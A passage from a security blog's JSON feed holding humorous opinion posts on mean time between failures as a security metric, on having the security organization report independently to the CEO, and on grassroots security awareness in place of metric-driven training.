operation.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eAs you can see here, this time is no more or less mean than any other time, but rather an arithmetic average. Unfortunately in a world short for syllables, AABTF just simply will not suffice.\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;But dade,\u0026rdquo; you may be saying, \u0026ldquo;this is clearly talking about mechanical or electronic systems.\u0026rdquo; To which I, again, would simply respond \u0026ldquo;Quite right, you are, dear reader.\u0026rdquo; But alas we have been given a gift, the very same gift that allows us to speak of war rooms, weaponization, kill chains, and other silly things. We can take this information from one realm of expertise and we can apply it to another, in a hope to gain new insights. So let us apply it to software, or \u0026ldquo;information systems\u0026rdquo; if you have a business degree.\u003c/p\u003e\n\u003cp\u003eIn security, we see a constant need to invent new metrics by which we\u0026rsquo;ll measure ourselves, as is evidenced by this totally real and not at all made up quote from the [current year] Relentless Security Advertising conference.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u0026ldquo;Oh you only have mean time to remediation? You don\u0026rsquo;t even have Nice Time To Remediation? n00b\u0026rdquo;\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eWe don\u0026rsquo;t know if the metrics we collect are accurate. We don\u0026rsquo;t know if the metrics indicate good things or bad things. We mostly just don\u0026rsquo;t know anything. But we\u0026rsquo;ve collected it and created graphs of it and now we must show the world our art, which I have helpfully created a single chart for you to reflect all current and future metrics.\u003c/p\u003e\n\u003cp\u003e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n    \n    \n    \n    \n    \n    \n    \n    \n  \u003cpicture\u003e\n    \u003csource srcset=\"/blog/2020/11/mtbf-as-a-security-metric/img/mtbf-data_hu_a22f4ed7fd4c67cb.webp\" type=\"image/webp\" /\u003e\n  \u003cimg class=\"img\" src=\"/blog/2020/11/mtbf-as-a-security-metric/img/mtbf-data.6bf01b1d25449afd8c917a0d35cb0100.png\" alt=\"dadeco super scientific metrics metric\" loading=\"lazy\" height=\"452\" width=\"1031\" /\u003e\n\u003c/picture\u003e\n\u003c/p\u003e\n\u003cp\u003eBut alas, let us return to meaner times. Aforementioned metrics such as Mean Time To Remediate (MTTR) are examples of relatively good metrics. Certainly more meaningful than NOBF (Number of Bugs Filed) or AOTSFOJTTDAPTTHTYTTR (amount of time spent filling out JIRA tickets that don\u0026rsquo;t actually pertain to the thing that you\u0026rsquo;re trying to report). Measuring the time it takes from when a vulnerability or incident is detected to the moment is remediated provides a rough way to determine process efficiency. Then we can break that down even further, tracking the Mean Time To First Response (MTTFR), the Mean Time To Ticket (MTTT), and the Mean Time To First Curse (MTTFC), allowing us to get a better understanding of where the pain points are in our process - be it technical or political.\u003c/p\u003e\n\u003cp\u003eThese metrics are, by and large, very inward focusing for security organizations. As if the problems will go away as long as we can efficiently smash that \u0026ldquo;Resolve\u0026rdquo; button. A metric that I\u0026rsquo;ve not seen, in my limited experience as a (RFC)1918 detective, is one which tracks a vulnerability back in time to its conception. You see, when a software engineer and a Certified Corporate Agility Training Coach Scrum Certification Guru Jedi Master hype each other up very much, vulnerabilities are sometimes created where there was once nothing. It gets created, spends 1-9 days in an incubation period known amongst experts as \u0026ldquo;code review\u0026rdquo;, and then it\u0026rsquo;s ready to venture out into the big scary world, all by its lonesome. It\u0026rsquo;s a scary world out there for a vulnerability, these days. Not because they are being hunted to extinction, but rather because they can go unnoticed and unnamed for months, years, and even decades.\u003c/p\u003e\n\u003cp\u003eIf we start analyzing and aggregating information about the mean time that a vulnerable section of code was deployed (whether that be the initial time it was committed to the code base, or yolo swag 360 no scope yeeted onto prod) and that vulnerable section of code was removed or patched, we can start to uncover patterns in engineering organizations. Instead of all metrics being focused on the reactive nature of security, we could start to track metrics that allow us to make proactive decisions and reduce the number of bugs shipped. I\u0026rsquo;ve heard rumors that some call this merging of developers, security, and operations \u0026ldquo;DevSecOps\u0026rdquo;, however there is only one thing I know for certain: Knowing the true name of something, does not, in fact, give you power over that thing. I mean, honestly, what was Christopher Paolini even thinking?\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eIf you go hunting for bugs and you find one buried body, you were probably looking for the wrong type of bug.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eIf we find one vulnerability, it could be one person\u0026rsquo;s mistake. If we find a series of vulnerabilities, it is more likely a organizational mistake. The level of interest in a particular developer\u0026rsquo;s output scales with the frequency of vulnerabiltiies in that output. Notice that I said frequency, not number. Finding ten vulnerabilities in ten million lines of code, eh these things happen. Finding ten vulnerabilities in ten lines of code? We\u0026rsquo;re going to have to stay after school and write (statistically vulnerable) lines on the chalkboard.\u003c/p\u003e\n\u003cp\u003eThis isn\u0026rsquo;t to say that security teams should be out there making enemies with developers - quite the contrary. If we\u0026rsquo;re a security organization and our developers are shipping a lot of vulnerabilities, it is us who has failed them, not the other way around. Perhaps we need to be investing more in security architecture meetings with development teams, or maybe we need to be allocating additional time to code review. Perhaps we need to consider whether or not we\u0026rsquo;re using the right tools for the job in the first place.\u003c/p\u003e\n\u003cp\u003eCode being shipped should be tracking the Mean Time Between Failures - be it reliability, usability, vulnerability, or any otherability. In the early days, this MTBF may be small, but as the product matures, so too should the MTBF. If we\u0026rsquo;re shipping a ten year old product and we\u0026rsquo;re finding a dozen high or critical vulnerabilities every month, we have failed not only ourselves, but our customers as well. Imagine if the hardware you\u0026rsquo;re running had an AFR (annualized failure rate, not to be confused with AFI, the band that performed Miss Murder in 2006) remotely similar to that of the software you\u0026rsquo;re running. Well\u0026hellip; I guess if we started considering security failures as failures instead of magical money juice, then maybe you don\u0026rsquo;t have to imagine after all, nudge nudge wink wink.\u003c/p\u003e\n\u003cp\u003eI must go now, for there is a task force forming beneath my window, of which I must be a part. Please, I implore you: consider the happy times, consider the Mean Times.\u003c/p\u003e\n"
        },
        {
            "title": "Rethinking Security Organizations",
            "date_published": "2020-11-16T13:50:00-08:00",
            "date_modified": "2024-03-17T13:11:03-07:00",
            "id": "https://0xda.de/blog/2020/11/rethinking-security-organizations/",
            "url": "https://0xda.de/blog/2020/11/rethinking-security-organizations/",
            "content_html": "\u003cp\u003eWith today\u0026rsquo;s news about \u003ca href=\"https://twitter.com/dotMudge/status/1328421797549780994\"\u003eMudge joining Twitter\u003c/a\u003e as the head of security and reporting directly to Jack, it sparked memories of thoughts I\u0026rsquo;d nearly forgotten. That is, thoughts about how the current security organization model that is most common among corporations also plays a contributing factor to a number of the security issues those organizations are plagued by. Building a silo of security expertise into divisions like \u0026ldquo;corporate security\u0026rdquo; and \u0026ldquo;product security\u0026rdquo;, resulting in increased barriers between teams implementing things and teams meant to secure those things.\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;ve been told before that this reorganization generally doesn\u0026rsquo;t work. I\u0026rsquo;ve been told that it won\u0026rsquo;t get support. I\u0026rsquo;ve been told that the downsides outweigh the benefits. I\u0026rsquo;ve been told many things in defense of the status quo, with little in the way of evidence provided. Being a professional think-outside-the-boxer, I shrug such unjustified claims off in pursuit of the alternate. The status quo prioritizes the centralization of security talent, presumably for alleged efficiency benefits that happen when organizations optimize for one thing, but the security expertise is second to that which they are securing. As a result, secondary security organizations will spring up where they are needed and be largely separated from the existing security organizations. While I am sure that what I am to suggest does, in fact, have downsides, I have not yet been presented with them. I welcome you to challenge my proposal in pursuit of a better security industry.\u003c/p\u003e\n\u003cp\u003eAs may have been hinted in the opening sentence of this piece, the gist of this proposal is that the security organization should report independently either directly to the CEO, or to the Board of Directors. This enables the security organization to operate independently without downward pressure from organizations whose entire purpose is to get products out the door faster or make as few changes as possible to maintain service uptime. I took business classes, I have a business degree, I know that businesses care about making money and that security doesn\u0026rsquo;t make money. However, that does not mean that we can\u0026rsquo;t improve upon the efficacy, efficiency, and accountability of the security organization.\u003c/p\u003e\n\u003cp\u003eExcuse me while I put on my best \u003ca href=\"https://www.youtube.com/watch?v=71VT6oTto1g\"\u003eBill Nye impression\u003c/a\u003e\u0026hellip;\u003c/p\u003e\n\u003ch2 id=\"scenario\"\u003eScenario\u003c/h2\u003e\n\u003cp\u003eYour corporate IT team is about to deploy a new agent to all workstations in order to collect key statistics about those workstations and migrate off an expensive licensed product. They are at the tail end of their deadline and the CIO is applying downward pressure to deliver. The CISO, who often reports to the CIO, is in charge of securing the corporate assets, and is also feeling the downward pressure to get this software deployed before the licensed product is up for renewal, potentially costing millions of dollars.\u003c/p\u003e\n\u003cp\u003eThe security assessment gets scheduled for the week before the deployment date, because they needed plenty of time to test reliability, stability, impact on the rest of the system. The security assessment turns up a critical vulnerability that impacts the deployment of this agent. The security team reports back to it\u0026rsquo;s shareholders and they have to make a decision - halt the deployment for an uncertain amount of time, causing the organization to miss deadlines that upper management was adamant about, or roll out the deployment and try to fix it after the fact.\u003c/p\u003e\n\u003cp\u003eThis may sound implausible, especially if you\u0026rsquo;ve not worked in a large organization, however this is very often exactly how technical debt comes to be - in this case it is simply applied in a security context. The CISO is under pressure from the CIO, and the CIO wants this deployed so that they can provide some key statistics to the CEO or to the Board. The chain of command dictates that the CIO can overrule the CISO, and in fact pressures can be applied to hide the very existence of the vulnerability.\u003c/p\u003e\n\u003cp\u003ePerhaps this is less likely to happen in a corporate IT environment, where it\u0026rsquo;s less likely to have a direct impact on the bottom line. But one place where it is almost certain to happen is in products and services that are customer facing. Products that are shipping to customers, services that are deployed for customers to use. The choice to not deploy something (usually) has (somewhat) clearly defined monetary losses. So the pressure from your product teams will be to get things out the door as quickly as possible to ensure the corporate earnings report still looks good.\u003c/p\u003e\n\u003cp\u003eBecause of the way security organizations are largely siloed from the organizations they are meant to secure, they are frequently brought in for security advice long after the design phase has completed, even in your beloved \u0026ldquo;but we shifted left\u0026rdquo; organizations. Even when security organizations are meant to interface with teams early and often, there are resourcing constraints to consider. Limited security resources being pulled in many different directions results in things slipping through the cracks more frequently. Teams end up waiting on security to get back to them, or moving forward without security and assuming that they can simply retrofit security\u0026rsquo;s advice. We\u0026rsquo;ve likely all seen how well that works out.\u003c/p\u003e\n\u003cp\u003e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n    \n    \n    \n    \n    \n    \n    \n    \n  \u003cpicture\u003e\n    \u003csource srcset=\"/blog/2020/11/rethinking-security-organizations/img/security-in-a-silo_hu_7ed7419da7463305.webp\" type=\"image/webp\" /\u003e\n  \u003cimg class=\"img\" src=\"/blog/2020/11/rethinking-security-organizations/img/security-in-a-silo.30780cfb80da5fad3f1006ae457938be.jpg\" alt=\"security in a silo\" loading=\"lazy\" height=\"1279\" width=\"1920\" /\u003e\n\u003c/picture\u003e\n\u003c/p\u003e\n\u003ch2 id=\"proposal\"\u003eProposal\u003c/h2\u003e\n\u003cp\u003eI believe, for the integrity of the security industry, we need to hold ourselves more accountable to our organizations. The Chief Information Security Officer should report directly to the CEO as a first order \u0026ldquo;Chief\u0026rdquo;. The reporting structure should be entirely independent of those organizations they are chartered to secure, however the personnel should be closely integrated with their partner teams. Everyone responsible for security in the company belongs to this security organization, but works on a daily basis primarily with people who do not belong to the security organization.\u003c/p\u003e\n\u003cp\u003eYou may be tempted to say \u0026ldquo;We can make a security champion program!\u0026rdquo; But, dear reader, this misses the point almost entirely. While I will concede that having a security champion program across your company is better than not having those security contacts across the company, it does not improve the accountability of the security organization. Security Champion programs most typically recruit from non-security personnel who have an interest or knack for security and then give them additional volunteer responsibilities for which they are not additionally compensated. These personnel still report to whoever they reported to in the first place, and therefore still have downward pressure to look the other way if something could get in the way of the S.S. Ship It.\u003c/p\u003e\n\u003cp\u003eThe important elements of this newly renovated security organization are their \u003cstrong\u003eindependence\u003c/strong\u003e, their \u003cstrong\u003eaccountability\u003c/strong\u003e, and their \u003cstrong\u003eintegration\u003c/strong\u003e with the rest of the company.\u003c/p\u003e\n\u003ch3 id=\"integration\"\u003eIntegration\u003c/h3\u003e\n\u003cp\u003eConsider this new organization a corporate security network; a network of distributed teams that work closely with their partner organizations to ensure security is involved in the very first roadmap meetings, the very first design meetings, all the way through to the final approval to ship the product. Instead of having a security architecture team that works with everyone to implement security architecture on a wide range of products and services that they don\u0026rsquo;t necessarily know very well, you\u0026rsquo;ll have numerous security architects that work closely with a family of products or services and know them extremely well.\u003c/p\u003e\n\u003ch3 id=\"independence--accountability\"\u003eIndependence \u0026amp; Accountability\u003c/h3\u003e\n\u003cp\u003eNext, we talk about the independence and accountability, which go hand in hand. These teams all report up through the CISO as an independent entity, such that if a product wants to ship with known security flaws, decisions are made at the executive or vice president level. Those known security flaws are then well documented internally, independent of the engineering organization who wants to ship them. An exception process for engineering teams should be made so that security flaws are clearly documented and the appropriate people in both management chains (security and engineering) have signed off on them as known and accepted risks. If you want to get really crazy, consider requiring a remediation plan and timeline for the exception to be approved.\u003c/p\u003e\n\u003ch3 id=\"exceptions\"\u003eExceptions\u003c/h3\u003e\n\u003cp\u003eNow, there are some security teams where this model will struggle - primarily those that are often served by the corporate IT/Security teams, such as threat and vulnerability management or detection and incident response roles. There should be a few well staffed teams reporting to the CISO that handle these functions in a uniform manner for the entire organization. Similarly, there should be a dedicated team that is responsible for setting, maintaining, and communicating security standards and policies across the entire organization - different departments should not be given the responsibility of creating their own standards. A company with disparate security standards that each apply to different teams makes it incredibly difficult to effectively manage. It creates more cracks, and those cracks are where the accidents happen. The headlines won\u0026rsquo;t care that Company A Subsection B got hacked, they will leave it at Company A.\u003c/p\u003e\n\u003cp\u003eI didn\u0026rsquo;t include Offensive Security, my home team, in the above list. I admit that I am on the fence about where to put Offensive Security. There are clear (to me) benefits to having a distributed red team that lends their offensive insights during the design and development phase, as a form of adversarial analysis or adversarial design review. Pentest teams (these are not the same as red teams, a topic for countless debates and blog posts) should also be relatively independent, however for the most effective use of resources, I believe it would behoove pentests to be conducted by a mix of people who know the architecture well and those who bring a completely outside-the-box approach.\u003c/p\u003e\n\u003ch3 id=\"errata\"\u003eErrata\u003c/h3\u003e\n\u003cp\u003eIt is likely that there are some other teams that I am forgetting. I am not forgetting compliance because compliance is, or should be, a separate independent entity from security, for the same accountability reasons that I am proposing for security organizations. If I forgot your team, please write me a long email berating me for this unintentional slight in your general direction. My email address is dev null at actual crimes dot org.\u003c/p\u003e\n\u003ch2 id=\"conclusion\"\u003eConclusion\u003c/h2\u003e\n\u003cp\u003eIf I may leave you with one piece of parting wisdom (for varying definitions of \u0026ldquo;wisdom\u0026rdquo;), let it be this: Your security organization is not the place for the proverbial yes-man. Organizational culture should encourage your security personnel to feel comfortable explaining why something is a bad idea, whether to an engineering team, to a sibling security team, or even to the CEO directly.\u003c/p\u003e\n"
        },
        {
            "title": "Grass Roots Security Awareness",
            "date_published": "2019-11-14T22:37:10-08:00",
            "date_modified": "2024-03-17T13:11:03-07:00",
            "id": "https://0xda.de/blog/2019/11/grass-roots-security-awareness/",
            "url": "https://0xda.de/blog/2019/11/grass-roots-security-awareness/",
            "content_html": "\u003cp\u003eAs a company grows, it\u0026rsquo;s only a matter of time before it becomes important to ensure that everyone in the company is aware of security concerns that your company may face. Historically, this has largely involved the creation of flash videos and little quizzes that are designed to tell the user some security information and then test them on it. Then that \u0026ldquo;training\u0026rdquo; gets put into the annual requirements and your security organization measures the completion percentage, driving towards 100% completion. If they are really fancy, they might even track metrics about which quiz questions are failed the most, what the average score is for the quizzes, etc. If you work at any large organization, I\u0026rsquo;m sure this sounds familiar.\u003c/p\u003e\n\u003cp\u003eIn an effort to create a more interactive security awareness program, many companies have adopted the use of regular phishing exercises. These exercises are often run by vendors who handle crafting the phishing email, delivering it to all of the employees (or whatever random subset of employees), and providing metrics on click throughs. Many of these same vendors also offer some form of the aforementioned flash-video-style training that users have to take if they clicked the link. This is great because it means your organization, which has limited resources, doesn\u0026rsquo;t need to maintain another training system. Better still, now you can run quarterly phishing exercises and only the employees who click will have to take the training, instead of all employees having to take a generic training every quarter. Efficiency!\u003c/p\u003e\n\u003cp\u003eYears go by and you\u0026rsquo;re still struggling to reach your target numbers year over year. People are still clicking the links. People are still struggling with the quiz questions. Or even worse, people are acing the quiz questions and then still creating vulnerabilities. But you don\u0026rsquo;t have metrics for that. You could compare the number of new security bugs found per year versus your security awareness metrics and maybe you can divine some sort of meaning from that spreadsheet. But it\u0026rsquo;s still happening. Even worse yet, you were in the cafeteria and you overheard employees talking about how annoying it was that they had to complete that annual training, and how the training didn\u0026rsquo;t even apply to them. Phishes and Bugs and Hackers, oh my!\u003c/p\u003e\n\u003cp\u003eIt\u0026rsquo;s not your fault that the training doesn\u0026rsquo;t apply to them. You\u0026rsquo;re understaffed and your budget ran dry 6 months ago. You\u0026rsquo;re spending hundreds of thousands of dollars on a phishing awareness platform and people are STILL CLICKING THE LINKS. Meanwhile, your management is still pushing you to reach 100% completion rate and 0% click rate. Do more with less, they say. Do more with less. Maybe you can update your internal training to include a video of leadership at the company talking about the importance of security and making some hip references so that employees feel like the CEO is one of them, like they also took the annual security training.\u003c/p\u003e\n\u003cp\u003eAn underlying theme here is that we\u0026rsquo;re trying to solve a human problem, security awareness, through greater use of technology. We\u0026rsquo;re reducing our employees to a series of metrics, and then trying to optimize for those metrics. Tweak the phishing training like this. Change the annual quizzes like that. Improve the metrics. Businesses love metrics because it provides the illusion of objective, measurable, factual data. As metrics get better, that must mean that objectively the company is doing better. But please, dear reader, allow me to let you in on a little secret: Your metrics are probably lying to you.\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;Alright dade, get to the point already,\u0026rdquo; you\u0026rsquo;re probably thinking to yourself. To which I say: \u0026ldquo;Tallyho!\u0026rdquo;\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;d like to propose a new way to look at security awareness. I\u0026rsquo;ll warn you now, though: this approach will make it difficult to produce metrics, which in turn will make it difficult to sell to management. Instead of (or in addition to) approaching security awareness through annual trainings and regular phishing exercises and maybe hosting some cool events that give out free security branded swag, try to break down the silos between your information security organization and the rest of the company. Get people to engage with one another, interact with one another, on a more interpersonal level.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u0026ldquo;Seek First to Understand, Then to Be Understood\u0026rdquo; - Stephen Covey\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eOne key element to remember when considering this approach is that you can\u0026rsquo;t go into these interactions with the mindset of \u0026ldquo;Oh I\u0026rsquo;m going to tell them everything they need to know about security.\u0026rdquo; If you do this, you will inevitably encounter the same problems that your annual security awareness trainings encounter. It becomes something that employees just have to do, and they are busy and have their own work to do and don\u0026rsquo;t have time to listen to you preach to them. In order to effectively engage with other employees, you need to talk to them about the things that matter to them. Security is not a one-size-fits-all prescription. Different people care about different things.\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;But that doesn\u0026rsquo;t scale! We can\u0026rsquo;t have all of our security engineers interacting with all of our employees all the time! We already don\u0026rsquo;t have enough security engineers!\u0026rdquo; That\u0026rsquo;s true. But humans are social creatures. When we stop a conversation with another person, that other person doesn\u0026rsquo;t cease to exist. They don\u0026rsquo;t (usually) immediately forget everything about the conversation. They go on about their days and they talk to their social networks, their colleagues, the people they eat lunch with. Information is very capable of spreading organically.\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;Okay so maybe you\u0026rsquo;re on to something. How can we get started with trying to introduce grassroots security awareness?\u0026rdquo; That\u0026rsquo;s a great question! I\u0026rsquo;m so glad you asked. I think that in order to run a pilot of this, it\u0026rsquo;s important to identify the people in your organization who most deeply care about security as it applies to the organization. These aren\u0026rsquo;t always the same people who are the best at fixing or finding security issues. Find 4-8 people from different security roles who would be interested in doing security outreach within the company.\u003c/p\u003e\n\u003cp\u003eHave these people spend some portion of their time, maybe an hour a week, reaching out to random employees across the organization, and ask them about what they work on, what they think about security at the company, how they think security applies to them. Ask them if they have questions about security. Don\u0026rsquo;t restrict it to just work-related security questions! Good security practices at home will carry over into the work place. Teach people to setup password managers and why they are valuable. Teach people how to safely open emails and what the telltale signs of phishing emails tend to be. Teach people that it\u0026rsquo;s okay to make mistakes and that it\u0026rsquo;s okay to ask for help.\u003c/p\u003e\n\u003cp\u003eBefore a session with an employee is over, be sure that they are made aware of ways to engage with the security team. Who to reach out to if they think they got a phishing email. Who to reach out to if they have a generic security question. Encourage a healthy, positive relationship between individuals. Encourage other employees to think about security in their day to day lives and nurture their own reasons to care about it. Before you know it, you have a grassroots movement of people who are thinking about security as part of their job. Whether it\u0026rsquo;s checking their email, browsing the web, designing or developing their products, they will remember that good conversation they had with that person from security.\u003c/p\u003e\n\u003cp\u003eSorry about your metrics, though.\u003c/p\u003e\n"
        }
        ]
}
